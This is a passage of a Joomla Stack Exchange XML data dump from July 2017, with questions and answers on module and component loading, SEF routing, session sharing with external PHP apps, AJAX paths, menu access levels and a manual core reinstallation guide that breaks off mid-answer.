  <row Id="21190" PostTypeId="2" ParentId="9521" CreationDate="2017-07-18T00:18:08.810" Score="0" Body="&lt;p&gt;There is a simple solution whereby you assign a custom class in the module such as 'hidden-mobile' then create a suitable media query using display:none. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @media screen and (max-width: 787px) { &#xA;    .hidden-mobile { &#xA;        display:none;&#xA;        } &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-07-18T00:18:08.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21191" PostTypeId="1" AcceptedAnswerId="21196" CreationDate="2017-07-18T08:58:03.473" Score="2" ViewCount="408" Body="&lt;p&gt;I am trying to display a component in a module which seems to work using this example&#xA;&lt;a href=&quot;http://www.escope.cz/en/blog/94-how-to-load-component-in-a-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.escope.cz/en/blog/94-how-to-load-component-in-a-module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now facing a problem where my model isn't getting loaded and I'm sure it's to do with this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller-&amp;gt;addModelPath(JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' . DS . 'user.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done a &lt;code&gt;var_dump($controller)&lt;/code&gt; and don't find any reference to user.php.  I'm not sure what to look for in the output but i know user.php doesn't come up in any search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component works fine not in the module so it's not the component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this line which now includes the model and I can now use the model to call &lt;code&gt;$this-&amp;gt;msg = $this-&amp;gt;get('Msg');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once (JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' . DS . 'user.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I get this alert pop up&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JForm::getInstance could not load file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I try to do a &lt;code&gt;var_dump()&lt;/code&gt; in the view.html.php on the model it returns null&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entire module code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/*&#xA; * @package   Joomla 2.5&#xA; * @author    Jan Linhart&#xA; * @authorurl http://www.escope.cz&#xA; * @license   GNU/GPL&#xA; * &#xA; * YourModule module - main script&#xA; */ &#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;$view = JRequest::getCmd('view', null);&#xA;$layout = JRequest::getCmd('layout', null);&#xA;$task = JRequest::getCmd('task', null);&#xA;&#xA;JRequest::setVar('option', 'com_helloworld');&#xA;JRequest::setVar('view', 'user');&#xA;JRequest::setVar('layout', 'default');&#xA;JRequest::setVar('task', 'display');&#xA;&#xA;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_helloworld', JPATH_SITE);&#xA;&#xA;if (!class_exists('HelloWorldController')) {&#xA;    require_once (JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'controller.php');&#xA;}&#xA;&#xA;// THIS HAS BEEN ADDED TO INCLUDE THE MODEL&#xA;require_once (JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' . DS . 'user.php');&#xA;&#xA;$controller = new HelloWorldController();&#xA;$controller-&amp;gt;addModelPath(JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' . DS . 'user.php');&#xA;$controller-&amp;gt;setProperties(&#xA;    array(&#xA;        'basePath' =&amp;gt; JPATH_SITE . DS . 'components' . DS . 'com_helloworld',&#xA;        'paths' =&amp;gt; array(&#xA;            'view' =&amp;gt; array(&#xA;                JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'views'&#xA;                ),&#xA;            'model' =&amp;gt; array(&#xA;                JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models'&#xA;            )&#xA;        )&#xA;    )&#xA;);&#xA;&#xA;$controller-&amp;gt;execute('display');&#xA;&#xA;echo '&amp;lt;pre&amp;gt;';var_dump($controller);echo '&amp;lt;/pre&amp;gt;';&#xA;// revert system vars to previous state&#xA;// if($option != null){&#xA;//     JRequest::setVar('option', $option);&#xA;// }&#xA;if($view != null){&#xA;    JRequest::setVar('view', $view);&#xA;}&#xA;if($layout != null){&#xA;    JRequest::setVar('layout', $layout);&#xA;}&#xA;if($task != null){&#xA;    JRequest::setVar('task', $task);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11303" LastEditorUserId="11303" LastEditDate="2017-07-18T09:31:45.300" LastActivityDate="2017-07-18T14:14:48.293" Title="Component in module. addModelPath doesn't seem to work" Tags="|joomla-3.x|component|module|model|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21192" PostTypeId="1" CreationDate="2017-07-18T10:19:33.220" Score="1" ViewCount="16" Body="&lt;p&gt;So, thanks to FFrewin's help I was able to resolve and issue with the default com_contact template not showing entered address information &lt;a href=&quot;https://joomla.stackexchange.com/questions/21184/how-to-fix-address-not-displaying-on-default-com-contact-page&quot;&gt;Problems with Contact showing &lt;/a&gt;. The issue is that the contact template is still behaving strangely, specifically it is showing field labels (without icons) for empty fields. &lt;a href=&quot;https://i.stack.imgur.com/3Xu6I.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Xu6I.jpg&quot; alt=&quot;empty fields&quot;&gt;&lt;/a&gt;. I have the options to show both the phones and emails turned off both globally and on the specific menu item. So, other than hacking the template to strip the functions out, how can I address this?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-07-18T10:19:33.220" Title="Com_Contact strange behavior showing labels for empty contact fields, how to resolve?" Tags="|component|jhtml|contact|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21194" PostTypeId="1" CreationDate="2017-07-18T13:41:54.167" Score="1" ViewCount="20" Body="&lt;p&gt;I would like to show the dates of the articles &lt;em&gt;on the main site&lt;/em&gt; (because the articles are news), and don't want to show the dates in all other menus (because the other content is static).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I only can find a standard-option to activate or deactivate all at a time.&#xA;Is there a way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="11330" LastActivityDate="2017-07-19T12:52:20.260" Title="Date only on some content" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21196" PostTypeId="2" ParentId="21191" CreationDate="2017-07-18T14:14:48.293" Score="1" Body="&lt;p&gt;&lt;strong&gt;Loading a model:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('joomla.application.component.model');&#xA;JLoader::import( 'user', JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'models' );&#xA;$user_model = JModelLegacy::getInstance('user','HelloWorldModel');&#xA;$items = $user_model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Loading a component view:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;$option = JRequest::getCmd('option',null);&#xA;$view = JRequest::getCmd('view',null);&#xA;$layout = JRequest::getCmd('layout',null);&#xA;$task = JRequest::getCmd('task',null);&#xA;&#xA;JRequest::setVar('option', 'com_helloworld'); &#xA;JRequest::setVar('view', 'events');&#xA;JRequest::setVar('layout', 'default');&#xA;JRequest::setVar('task', 'display');&#xA;&#xA;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_helloworld', JPATH_SITE);&#xA;&#xA;if (!class_exists('HelloWorldController')) {&#xA;    require_once (JPATH_SITE . DS . 'components' . DS . 'com_helloworld' . DS . 'controller.php');&#xA;}&#xA;$controller = new HelloWorldController();&#xA;&#xA;$controller-&amp;gt;addModelPath(JPATH_SITE .DS. 'components' .DS. 'com_helloworld' .DS. 'models' .DS);&#xA;&#xA;$controller-&amp;gt;setProperties(array(&#xA;    'basePath' =&amp;gt; JPATH_SITE .DS. 'components' .DS. 'com_helloworld',&#xA;    'paths' =&amp;gt; array(&#xA;        'view' =&amp;gt; array(&#xA;            JPATH_SITE .DS. 'components' .DS. 'com_helloworld' .DS. 'views'&#xA;            ),&#xA;        'model' =&amp;gt; array(&#xA;            JPATH_SITE .DS. 'components' .DS. 'com_helloworld' .DS. 'models'&#xA;            )&#xA;        )&#xA;    ));&#xA;&#xA;// buffer the view output to a var&#xA;ob_start();&#xA;$controller-&amp;gt;execute('display');&#xA;$content = ob_get_contents();&#xA;ob_end_clean();&#xA;&#xA;&#xA;// revert system vars to previous state&#xA;JRequest::setVar('option', $option);&#xA;JRequest::setVar('view', $view);&#xA;JRequest::setVar('layout', $layout);&#xA;JRequest::setVar('task', $task);&#xA;&#xA;echo $content; // echo the buffered content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-07-18T14:14:48.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21198" PostTypeId="1" AcceptedAnswerId="21324" CreationDate="2017-07-19T04:08:49.370" Score="1" ViewCount="784" Body="&lt;p&gt;So I have read &lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt; and looked at examples both online and in com_content but I still cannot get this routing thing down 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if the way I'm doing it is correct or if there is a better or simpler way to achieve the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create friendly URL's without the id. The link I provided above I went through the simple solution and got it working except I couldn't get rid of the id: at the front of the alias (in the slug). I'm not after a complex solution as the component only has a list view and a single item view - no categories etc views. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I believe I found this on a forum a while ago and this was the closest I got to having a effective routing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is if a user types in an incorrect url, eg &lt;em&gt;myurl.com/menuitem/incorrectalias&lt;/em&gt; rather than displaying a 404 error page it queries the database for every item that could potentially be displayed on this page causing the browser to crash. Is there any way to display the error page for the mentioned scenario?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;class mycompoenentRouter extends JComponentRouterBase&#xA;{&#xA;  public function build(&amp;$query)&#xA;  {&#xA;     $segments = array();&#xA;     if (isset($query['id']))&#xA;     {&#xA;       $id = explode(':', $query['id']);&#xA;       $segments[] = $id[1];&#xA;       unset($query['id']);&#xA;     }&#xA;     unset($query['view']);&#xA;     return $segments;&#xA;  }&#xA;&#xA;  function parse(&amp;$segments)&#xA;  {&#xA;    $vars = array();&#xA;    $app = JFactory::getApplication();&#xA;    $menu = $app-&gt;getMenu();&#xA;    $item = $menu-&gt;getActive();&#xA;&#xA;    switch ($item-&gt;query['view'])&#xA;    {&#xA;      case 'list':&#xA;      $vars['view'] = 'item';&#xA;&#xA;      $db = JFactory::getDbo();&#xA;      $query = $db-&gt;getQuery(true);&#xA;      $query-&gt;select('id');&#xA;      $query-&gt;from($db-&gt;quoteName('#__table'));&#xA;      $query-&gt;where($db-&gt;quoteName('alias').&quot; = &quot;.$db-&gt;quote($segments[0]));&#xA;&#xA;      $db-&gt;setQuery($query);&#xA;      $result = $db-&gt;loadResult();&#xA;&#xA;      $vars['id'] = (int) $result;&#xA;      break;&#xA;    }&#xA;&#xA;    return $vars;&#xA;  }&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="9575" LastEditorUserId="1520" LastEditDate="2017-07-19T07:57:41.363" LastActivityDate="2017-08-09T08:47:39.003" Title="Custom Component URL router" Tags="|joomla-3.x|custom-component|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21199" PostTypeId="1" AcceptedAnswerId="21296" CreationDate="2017-07-19T09:48:18.000" Score="3" ViewCount="1338" Body="&lt;p&gt;I am trying to achieve single sign on behaviors between PHP/PERL applications and Joomla. The main entry point would be Joomla, which would set up the sessions and other cookie variables that would be used by the external Perl and PHP applications. &#xA;For PHP Applications, I have used the below code after reading and researching, to check whether the Joomla session is Active.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $rootFolder = explode(DS,dirname(__FILE__));&#xA;  $currentfolderlevel = 1;&#xA;  array_splice($rootFolder,-$currentfolderlevel);&#xA;  $base_folder = implode(DS,$rootFolder);&#xA;  $base_folder= $base_folder.'/'.'xxx';&#xA;  array_push($rootFolder, &quot;/xxx&quot;);&#xA; if(is_dir($base_folder .DS.'libraries'.DS.'joomla'))   &#xA; {&#xA;   define( '_JEXEC', 1 );&#xA;   define('JPATH_BASE',implode(DS,$rootFolder));&#xA;   require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;   require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;jimport( 'joomla.user.user');&#xA;jimport( 'joomla.session.session');&#xA;jimport( 'joomla.user.authentication');&#xA;        $mainframe = JFactory::getApplication('site');&#xA;        $mainframe-&amp;gt;initialise();&#xA;        $user =JFactory::getUser();&#xA;        $session = JFactory::getSession();&#xA;        //$groups  = $options['user']-&amp;gt;groups;&#xA;        $session = JFactory::getSession();&#xA;        $sessionState=$session-&amp;gt;getState();&#xA;        $sessionExpiry=$session-&amp;gt;getName();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code works fine as in, it checks the session if its active  then lets the user work on external PHP app. &lt;strong&gt;The problem is that if I am not using the main Joomla site and am only working on the external PHP application, the session on the main joomla website expires hence leading to the logout on the external php application.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Question is, how do I manage sessions between both the external and the main Joomla site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sorry for the long post .&#xA;I would really appreciate any help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&#xA;Teju&lt;/p&gt;&#xA;" OwnerUserId="9586" LastEditorUserId="115" LastEditDate="2017-07-20T00:37:06.370" LastActivityDate="2017-09-03T15:42:28.383" Title="How to manage sessions between Joomla and external PHP applications?" Tags="|joomla-3.x|php|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21200" PostTypeId="1" AcceptedAnswerId="21202" CreationDate="2017-07-19T09:49:12.210" Score="1" ViewCount="129" Body="&lt;p&gt;Before login, my default menu title displayed with &quot;Feature&quot;. I want to change it to Dashboard after login.&lt;/p&gt;&#xA;" OwnerUserId="11334" LastActivityDate="2017-07-19T12:47:14.977" Title="Change home menu title after login" Tags="|menu|login|default|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21201" PostTypeId="2" ParentId="21151" CreationDate="2017-07-19T12:37:54.750" Score="2" Body="&lt;p&gt;The issue is the the site is not loading Expletus Sans, so it's never used. Your template css includes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;    font-family: 'Expletus Sans', cursive;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, there is no &lt;code&gt;@font-face&lt;/code&gt; declaration that actually loads that font, so the fallback specified is used instead. In this case the only fallback specified is a system cursive font which desktop OSs typically have but mobile OSs typically do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to use @font-face declarations in your css to actually load the webfont files (which I assume you have). I'd recommend &lt;a href=&quot;http://blog.fontspring.com/2011/02/the-new-bulletproof-font-face-syntax/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the new bulletproof font-face syntax&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-07-19T12:37:54.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21202" PostTypeId="2" ParentId="21200" CreationDate="2017-07-19T12:47:14.977" Score="3" Body="&lt;p&gt;Best way to do this is to add another menu item, rather than try to change the existing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in menu manager change the access level on the &lt;em&gt;Feature&lt;/em&gt; from the default 'Public' to 'Guest'. This means it will not be visible for users that are logged in. Then change the access level on the new Dashboard menu item to 'Registered' so that only logged in users can see it.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-07-19T12:47:14.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21203" PostTypeId="2" ParentId="21194" CreationDate="2017-07-19T12:52:20.260" Score="2" Body="&lt;p&gt;You can change the default setting on a per-category basis via the menu manager. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main menu &gt; News (or whatever your category is called) &gt; options &gt; date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KhSbk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KhSbk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-07-19T12:52:20.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21204" PostTypeId="2" ParentId="21136" CreationDate="2017-07-19T13:04:05.307" Score="1" Body="&lt;p&gt;That markup is in your templates layout layout overrides, e.g. &lt;code&gt;/templates/YOUR-TEMPLATE/html/com_content/article/default.php&lt;/code&gt; if you have one, if not it's coming from the core com_content view. The best option is to &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;create an override&lt;/a&gt; yourself and alter the markup as you see fit.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-07-19T13:04:05.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21205" PostTypeId="1" AcceptedAnswerId="21206" CreationDate="2017-07-19T20:51:56.407" Score="1" ViewCount="37" Body="&lt;p&gt;I'd like to reorganize my site stucture, and to make my articles be published without menu items (I'm tired to make menu items and to make all SEO settings through it), but I have a problem. Page with Category Blog should have some modules, and pages with articles should have other modules. So, how can I organize that?&lt;/p&gt;&#xA;" OwnerUserId="11308" LastActivityDate="2017-07-19T22:13:56.647" Title="How to make my articles have other modules than Category Blog" Tags="|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21206" PostTypeId="2" ParentId="21205" CreationDate="2017-07-19T22:13:56.647" Score="1" Body="&lt;p&gt;One simple way to go is to use &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Regular Labs Advanced Module Manager&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Advanced Module Manager is an extension that changes the way your&#xA;  Module manager works.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With Joomla you can normally only assign modules to certain menu&#xA;  items.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With Advanced Module Manager you have the possibility to assign&#xA;  modules to just about anything you want, giving you full control over&#xA;  your Joomla modules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Among the other modules assignments you can do, is per page type e.g. category page or article page. So this type of assignment should cover your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I would also use a SEF component like &lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/sh404sef/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sh404SEF&lt;/a&gt;&lt;/strong&gt; to handle the articles SEF URLs.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-07-19T22:13:56.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21207" PostTypeId="1" CreationDate="2017-07-20T06:11:49.353" Score="1" ViewCount="556" Body="&lt;p&gt;I have a custom.js with  post request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;function setPrayerTime(cityId) {&#xA;    var request = $.ajax({&#xA;        url: &quot;http://site.com/mymodule/namaz_mob/prayer.v2.php&quot;,&#xA;        type: &quot;POST&quot;,&#xA;        data: { cityId : cityId },&#xA;        dataType: &quot;json&quot;,&#xA;        beforeSend: function( xhr ) {&#xA;            $( &quot;.namazcontainer&quot; ).addClass( &quot;times-loading&quot; );&#xA;        }&#xA;    });&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my PHP file is located at &lt;code&gt;site.com/mymodule/namaz_mob/prayer.v2.php&lt;/code&gt;, but joomla always redirection to &lt;code&gt;site.com/prayer.v2.php&lt;/code&gt;&#xA;if you're on the front page of the site i.e. &lt;code&gt;http://site.com&lt;/code&gt; the ajax request will go to &lt;code&gt;http://site.com/prayer.v2.php&lt;/code&gt; while on a page at &lt;code&gt;http://site.comblog/mypost01&lt;/code&gt; it will map to &lt;code&gt;http://site.com/blog/prayer.v2.php&lt;/code&gt;.&#xA;How to send ajax request of the address where located my php file &lt;code&gt;prayer.v2.php&lt;/code&gt; within com_ajax&lt;/p&gt;&#xA;" OwnerUserId="11336" LastEditorUserId="1520" LastEditDate="2017-07-20T07:16:55.723" LastActivityDate="2017-10-18T10:09:40.287" Title="Jquery post request from other url" Tags="|php|jquery|ajax|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21208" PostTypeId="2" ParentId="21207" CreationDate="2017-07-20T06:55:15.953" Score="1" Body="&lt;p&gt;Likely there is some URL rewriting going over there.... What happens if you try the url like: &lt;code&gt;'/mymodule/namaz_mob/prayer.v2.php'&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would recommend to use &lt;code&gt;com_ajax&lt;/code&gt; the Joomla AJAX interface for making your ajax calls to your module's php functions. &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Read here for this&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also do a search in JSE and you will find many similar topics that might help you. &lt;a href=&quot;https://joomla.stackexchange.com/search?q=ajax+module&quot;&gt;https://joomla.stackexchange.com/search?q=ajax+module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-20T07:00:20.810" LastActivityDate="2017-07-20T07:00:20.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21209" PostTypeId="1" AcceptedAnswerId="21210" CreationDate="2017-07-20T07:08:40.020" Score="3" ViewCount="2345" Body="&lt;p&gt;Website is broken after update, Joomla core is corrupted, php fatal errors are thrown, backend is not accessible or backend re-installation isn't working and there is no backup of the site. How can I manually re-install Joomla core on an existing website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&#xA;This is a response question/answer for all type of questions where the above problems appear, to document the situation where a manual re-installation is needed and can act as reference for the future. The answer posted below is the same I posted recently on another question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/21140/class-jinput-not-found-after-updating-to-3-7-3/&quot;&gt;Class &amp;#39;JInput&amp;#39; not found after updating to 3.7.3&lt;/a&gt; &#xA;&lt;/sub&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&#xA;Anyone can add more important points on other answers or improve the one posted below. &#xA;&lt;/sub&gt; &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-20T08:33:14.470" LastActivityDate="2017-07-20T08:33:14.470" Title="How to make manual re-installation of Joomla! Core without losing extensions?" Tags="|update|installation|fatal-error|troubleshooting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21210" PostTypeId="2" ParentId="21209" CreationDate="2017-07-20T07:08:40.020" Score="3" Body="&lt;p&gt;It seems your Joomla! instance is corrupted. Since using the Joomla admin does not help with the re-installation, I would suggest Do a complete Joomla! Core manual re-installation / package replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This probably will work better in a local clone of the website on your desktop. Generally avoid doing this on the live website directly.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Create a fresh the Joomla! Core on an existing website:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download your Joomla! version (3.7.3) full stable package from joomla.org&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unzip it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start replacing everything Joomla! core in your instance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open side by side the 2 folders where your site-clone and the unzipped fresh Joomla package reside.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Administrator Site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Navigate in each of the admin site subfolders:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a. Components, Modules, Includes folders.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all and copy the *subfolders/subcontent from fresh Joomla! of the above folders, and paste to your site. Let it replace any existing items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*subfolders = each core component, module folder and files -see screenshot&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mSQUR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mSQUR.jpg&quot; alt=&quot;Selecting all admin components&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b. Help, Manifests, Languages Folder&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Likely you won't need to replace anything for these folders- but in case you do, select the content of their subfolders, copy and paste to your site's instance. (e.g. for languages, copy the contents of the core en-EN language folder and paste them to your site - replace existing ones).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;c. Templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unless you have any template overrides you can copy/paste the whole templates folder. If you have overrides, then save your overrides somewhere before replacing the templates and place them again to their previous location on the fresh templates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Front-end Site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Navigate in each of the site subfolders:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a. bin, cli&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all and copy the files of these folders from fresh Joomla! of the above folders, and paste to your site's instance. Let it replace any existing items. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b. Includes, Layouts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the whole folders and replace on your site's instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;c. Components, Libraries, Media, Modules&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the subfolders/contents of these folders (the ones of each module, component etc - as described for the administrator components) and replace on your site's instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;d. Languages and Templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Navigate in each plugin's folder and copy the subfolders that exist there. Replace the items with the same name on your joomla site instance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e. Plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Similar as described for the admin site. Just note that if you are using 3rd party templates - then you need to copy from the fresh core only each subfolder that exist in the templates folder and not the whole folder.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Conclusion - things to keep in mind:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The above describe briefly how to completely replace the core Joomla files on an existing Joomla site - without removing 3rd party files.  